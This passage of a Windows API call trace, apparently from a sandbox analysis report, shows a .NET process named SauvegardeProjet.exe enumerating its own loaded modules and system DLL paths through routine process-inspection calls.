lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0236.052] CoTaskMemFree (pv=0x6682db0) [0236.052] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.052] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75e10000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0236.052] CoTaskMemFree (pv=0x6682db0) [0236.052] GetModuleInformation (in: hProcess=0x288, hModule=0x772c0000, lpmodinfo=0x2695b6c, cb=0xc | out: lpmodinfo=0x2695b6c*(lpBaseOfDll=0x772c0000, SizeOfImage=0xa000, EntryPoint=0x772c36a0)) returned 1 [0236.053] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.053] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x772c0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0236.053] CoTaskMemFree (pv=0x6682db0) [0236.053] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.053] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x772c0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0236.054] CoTaskMemFree (pv=0x6682db0) [0236.054] GetModuleInformation (in: hProcess=0x288, hModule=0x75a30000, lpmodinfo=0x2697c68, cb=0xc | out: lpmodinfo=0x2697c68*(lpBaseOfDll=0x75a30000, SizeOfImage=0x9d000, EntryPoint=0x75a63fd7)) returned 1 [0236.054] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.054] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75a30000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0236.054] CoTaskMemFree (pv=0x6682db0) [0236.054] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.054] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75a30000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0236.055] CoTaskMemFree (pv=0x6682db0) [0236.055] GetModuleInformation (in: hProcess=0x288, hModule=0x75ae0000, lpmodinfo=0x2699df8, cb=0xc | out: lpmodinfo=0x2699df8*(lpBaseOfDll=0x75ae0000, SizeOfImage=0x60000, EntryPoint=0x75af158f)) returned 1 [0236.055] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.055] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75ae0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0236.055] CoTaskMemFree (pv=0x6682db0) [0236.055] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.055] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75ae0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0236.056] CoTaskMemFree (pv=0x6682db0) [0236.056] GetModuleInformation (in: hProcess=0x288, hModule=0x75be0000, lpmodinfo=0x269befc, cb=0xc | out: lpmodinfo=0x269befc*(lpBaseOfDll=0x75be0000, SizeOfImage=0xcc000, EntryPoint=0x75be168b)) returned 1 [0236.056] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.056] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75be0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0236.057] CoTaskMemFree (pv=0x6682db0) [0236.057] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.057] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75be0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0236.057] CoTaskMemFree (pv=0x6682db0) [0236.057] GetModuleInformation (in: hProcess=0x288, hModule=0x73610000, lpmodinfo=0x269e000, cb=0xc | out: lpmodinfo=0x269e000*(lpBaseOfDll=0x73610000, SizeOfImage=0x9000, EntryPoint=0x73611220)) returned 1 [0236.057] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.057] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73610000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0236.058] CoTaskMemFree (pv=0x6682db0) [0236.058] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.058] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73610000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0236.058] CoTaskMemFree (pv=0x6682db0) [0236.058] GetModuleInformation (in: hProcess=0x288, hModule=0x72f40000, lpmodinfo=0x26a010c, cb=0xc | out: lpmodinfo=0x26a010c*(lpBaseOfDll=0x72f40000, SizeOfImage=0x6a8000, EntryPoint=0x73087040)) returned 1 [0236.059] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.059] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x72f40000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0236.059] CoTaskMemFree (pv=0x6682db0) [0236.059] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.059] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x72f40000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0236.060] CoTaskMemFree (pv=0x6682db0) [0236.060] GetModuleInformation (in: hProcess=0x288, hModule=0x75540000, lpmodinfo=0x26a223c, cb=0xc | out: lpmodinfo=0x26a223c*(lpBaseOfDll=0x75540000, SizeOfImage=0xf5000, EntryPoint=0x75594160)) returned 1 [0236.060] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.060] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75540000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0236.060] CoTaskMemFree (pv=0x6682db0) [0236.060] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.060] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75540000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0236.061] CoTaskMemFree (pv=0x6682db0) [0236.061] GetModuleInformation (in: hProcess=0x288, hModule=0x74310000, lpmodinfo=0x26a4370, cb=0xc | out: lpmodinfo=0x26a4370*(lpBaseOfDll=0x74310000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0236.061] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.061] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x74310000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0236.062] CoTaskMemFree (pv=0x6682db0) [0236.062] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.062] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x74310000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0236.062] CoTaskMemFree (pv=0x6682db0) [0236.062] GetModuleInformation (in: hProcess=0x288, hModule=0x77060000, lpmodinfo=0x26a6518, cb=0xc | out: lpmodinfo=0x26a6518*(lpBaseOfDll=0x77060000, SizeOfImage=0x15c000, EntryPoint=0x770aba3d)) returned 1 [0236.063] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.063] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77060000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0236.063] CoTaskMemFree (pv=0x6682db0) [0236.063] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.063] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77060000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0236.064] CoTaskMemFree (pv=0x6682db0) [0236.064] GetModuleInformation (in: hProcess=0x288, hModule=0x73e60000, lpmodinfo=0x26a861c, cb=0xc | out: lpmodinfo=0x26a861c*(lpBaseOfDll=0x73e60000, SizeOfImage=0x80000, EntryPoint=0x73e737c9)) returned 1 [0236.064] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.064] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73e60000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0236.065] CoTaskMemFree (pv=0x6682db0) [0236.065] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.065] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73e60000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0236.065] CoTaskMemFree (pv=0x6682db0) [0236.065] GetModuleInformation (in: hProcess=0x288, hModule=0x72590000, lpmodinfo=0x26aa728, cb=0xc | out: lpmodinfo=0x26aa728*(lpBaseOfDll=0x72590000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0236.066] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.066] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x72590000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0236.066] CoTaskMemFree (pv=0x6682db0) [0236.066] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.066] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x72590000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0236.067] CoTaskMemFree (pv=0x6682db0) [0236.067] GetModuleInformation (in: hProcess=0x288, hModule=0x71e70000, lpmodinfo=0x26ac8c4, cb=0xc | out: lpmodinfo=0x26ac8c4*(lpBaseOfDll=0x71e70000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0236.067] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.067] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x71e70000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0236.068] CoTaskMemFree (pv=0x6682db0) [0236.068] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.068] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x71e70000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0236.068] CoTaskMemFree (pv=0x6682db0) [0236.068] GetModuleInformation (in: hProcess=0x288, hModule=0x73c90000, lpmodinfo=0x26aea80, cb=0xc | out: lpmodinfo=0x26aea80*(lpBaseOfDll=0x73c90000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0236.069] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.069] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73c90000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0236.069] CoTaskMemFree (pv=0x6682db0) [0236.069] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.069] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73c90000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0236.070] CoTaskMemFree (pv=0x6682db0) [0236.070] GetModuleInformation (in: hProcess=0x288, hModule=0x73f00000, lpmodinfo=0x26b0c74, cb=0xc | out: lpmodinfo=0x26b0c74*(lpBaseOfDll=0x73f00000, SizeOfImage=0x7d000, EntryPoint=0x73f01140)) returned 1 [0236.070] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.070] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73f00000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0236.071] CoTaskMemFree (pv=0x6682db0) [0236.071] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.071] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73f00000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0236.071] CoTaskMemFree (pv=0x6682db0) [0236.071] GetModuleInformation (in: hProcess=0x288, hModule=0x76e30000, lpmodinfo=0x26b2db4, cb=0xc | out: lpmodinfo=0x26b2db4*(lpBaseOfDll=0x76e30000, SizeOfImage=0x8f000, EntryPoint=0x76e33fb1)) returned 1 [0236.072] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.072] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x76e30000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0236.072] CoTaskMemFree (pv=0x6682db0) [0236.072] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.072] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x76e30000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0236.073] CoTaskMemFree (pv=0x6682db0) [0236.073] GetModuleInformation (in: hProcess=0x288, hModule=0x73b00000, lpmodinfo=0x26b4ec8, cb=0xc | out: lpmodinfo=0x26b4ec8*(lpBaseOfDll=0x73b00000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0236.073] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.073] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73b00000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0236.074] CoTaskMemFree (pv=0x6682db0) [0236.074] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.074] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73b00000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0236.075] CoTaskMemFree (pv=0x6682db0) [0236.075] GetModuleInformation (in: hProcess=0x288, hModule=0x71210000, lpmodinfo=0x26b7094, cb=0xc | out: lpmodinfo=0x26b7094*(lpBaseOfDll=0x71210000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0236.075] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.075] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x71210000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0236.076] CoTaskMemFree (pv=0x6682db0) [0236.076] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.076] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x71210000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0236.076] CoTaskMemFree (pv=0x6682db0) [0236.076] GetModuleInformation (in: hProcess=0x288, hModule=0x73ee0000, lpmodinfo=0x26b9284, cb=0xc | out: lpmodinfo=0x26b9284*(lpBaseOfDll=0x73ee0000, SizeOfImage=0x16000, EntryPoint=0x73ee2dc3)) returned 1 [0236.077] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.077] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73ee0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0236.077] CoTaskMemFree (pv=0x6682db0) [0236.077] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.077] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73ee0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0236.078] CoTaskMemFree (pv=0x6682db0) [0236.078] GetModuleInformation (in: hProcess=0x288, hModule=0x73ac0000, lpmodinfo=0x26bb49c, cb=0xc | out: lpmodinfo=0x26bb49c*(lpBaseOfDll=0x73ac0000, SizeOfImage=0x3b000, EntryPoint=0x73ac128d)) returned 1 [0236.079] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.079] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73ac0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0236.079] CoTaskMemFree (pv=0x6682db0) [0236.079] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.079] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73ac0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0236.080] CoTaskMemFree (pv=0x6682db0) [0236.080] GetModuleInformation (in: hProcess=0x288, hModule=0x73a30000, lpmodinfo=0x26bd5a8, cb=0xc | out: lpmodinfo=0x26bd5a8*(lpBaseOfDll=0x73a30000, SizeOfImage=0x84000, EntryPoint=0x73a319a9)) returned 1 [0236.080] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.080] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73a30000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0236.081] CoTaskMemFree (pv=0x6682db0) [0236.081] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.081] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73a30000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0236.082] CoTaskMemFree (pv=0x6682db0) [0236.082] GetModuleInformation (in: hProcess=0x288, hModule=0x73a10000, lpmodinfo=0x26bf770, cb=0xc | out: lpmodinfo=0x26bf770*(lpBaseOfDll=0x73a10000, SizeOfImage=0x13000, EntryPoint=0x73a118f0)) returned 1 [0236.082] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.082] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73a10000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0236.083] CoTaskMemFree (pv=0x6682db0) [0236.083] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.083] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73a10000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0236.083] CoTaskMemFree (pv=0x6682db0) [0236.083] GetModuleInformation (in: hProcess=0x288, hModule=0x73940000, lpmodinfo=0x26c18c0, cb=0xc | out: lpmodinfo=0x26c18c0*(lpBaseOfDll=0x73940000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0236.084] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.084] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73940000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0236.085] CoTaskMemFree (pv=0x6682db0) [0236.085] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.085] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73940000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0236.085] CoTaskMemFree (pv=0x6682db0) [0236.086] GetModuleInformation (in: hProcess=0x288, hModule=0x71080000, lpmodinfo=0x26c3abc, cb=0xc | out: lpmodinfo=0x26c3abc*(lpBaseOfDll=0x71080000, SizeOfImage=0x190000, EntryPoint=0x7111d026)) returned 1 [0236.086] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.086] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x71080000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0236.087] CoTaskMemFree (pv=0x6682db0) [0236.087] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.087] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x71080000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0236.088] CoTaskMemFree (pv=0x6682db0) [0236.088] GetModuleInformation (in: hProcess=0x288, hModule=0x70ee0000, lpmodinfo=0x26c5c6c, cb=0xc | out: lpmodinfo=0x26c5c6c*(lpBaseOfDll=0x70ee0000, SizeOfImage=0x19e000, EntryPoint=0x70f0e6b5)) returned 1 [0236.089] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.089] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x70ee0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0236.089] CoTaskMemFree (pv=0x6682db0) [0236.089] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.089] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x70ee0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0236.090] CoTaskMemFree (pv=0x6682db0) [0236.090] GetModuleInformation (in: hProcess=0x288, hModule=0x735f0000, lpmodinfo=0x26c7e34, cb=0xc | out: lpmodinfo=0x26c7e34*(lpBaseOfDll=0x735f0000, SizeOfImage=0x13000, EntryPoint=0x735f1d3f)) returned 1 [0236.091] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.091] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x735f0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0236.091] CoTaskMemFree (pv=0x6682db0) [0236.091] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.091] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x735f0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0236.092] CoTaskMemFree (pv=0x6682db0) [0236.092] GetModuleInformation (in: hProcess=0x288, hModule=0x75b40000, lpmodinfo=0x26c9f40, cb=0xc | out: lpmodinfo=0x26c9f40*(lpBaseOfDll=0x75b40000, SizeOfImage=0x83000, EntryPoint=0x75b423d2)) returned 1 [0236.093] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.093] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75b40000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0236.093] CoTaskMemFree (pv=0x6682db0) [0236.093] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.093] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75b40000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0236.094] CoTaskMemFree (pv=0x6682db0) [0236.094] GetModuleInformation (in: hProcess=0x288, hModule=0x70de0000, lpmodinfo=0x26cc04c, cb=0xc | out: lpmodinfo=0x26cc04c*(lpBaseOfDll=0x70de0000, SizeOfImage=0xfb000, EntryPoint=0x70df17e1)) returned 1 [0236.095] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.095] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x70de0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0236.095] CoTaskMemFree (pv=0x6682db0) [0236.096] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.096] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x70de0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0236.096] CoTaskMemFree (pv=0x6682db0) [0236.096] GetModuleInformation (in: hProcess=0x288, hModule=0x77ae0000, lpmodinfo=0x26ce170, cb=0xc | out: lpmodinfo=0x26ce170*(lpBaseOfDll=0x77ae0000, SizeOfImage=0x5000, EntryPoint=0x77ae1438)) returned 1 [0236.097] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.097] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77ae0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0236.098] CoTaskMemFree (pv=0x6682db0) [0236.098] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.098] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77ae0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0236.098] CoTaskMemFree (pv=0x6682db0) [0236.098] CloseHandle (hObject=0x288) returned 1 [0236.208] GetCurrentProcessId () returned 0x55c [0236.208] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x55c) returned 0x288 [0236.208] EnumProcessModules (in: hProcess=0x288, lphModule=0x254f614, cb=0x100, lpcbNeeded=0x540d1c0 | out: lphModule=0x254f614, lpcbNeeded=0x540d1c0) returned 1 [0236.209] GetModuleInformation (in: hProcess=0x288, hModule=0xfe0000, lpmodinfo=0x254f754, cb=0xc | out: lpmodinfo=0x254f754*(lpBaseOfDll=0xfe0000, SizeOfImage=0x9c000, EntryPoint=0x1076c3e)) returned 1 [0236.209] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0236.209] GetModuleBaseNameW (in: hProcess=0x288, hModule=0xfe0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0236.209] CoTaskMemFree (pv=0x6682db0) [0236.209] 